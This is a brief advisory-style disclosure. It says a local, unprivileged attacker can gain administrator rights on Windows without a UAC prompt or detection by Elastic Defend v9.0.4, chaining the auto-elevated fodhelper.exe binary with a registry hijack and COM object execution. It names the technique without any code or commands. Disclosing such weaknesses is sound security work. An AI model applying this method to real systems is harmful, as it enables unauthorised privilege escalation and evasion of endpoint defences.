A chained technique has been identified that allows a local, unprivileged attacker to achieve silent privilege escalation to administrator by bypassing protections enforced by Elastic Defend v9.0.4. The method leverages a trusted auto-elevated Windows binary (fodhelper.exe) in conjunction with a registry hijack and COM object execution, resulting in arbitrary code execution at elevated privileges - without triggering a UAC prompt or EDR detection
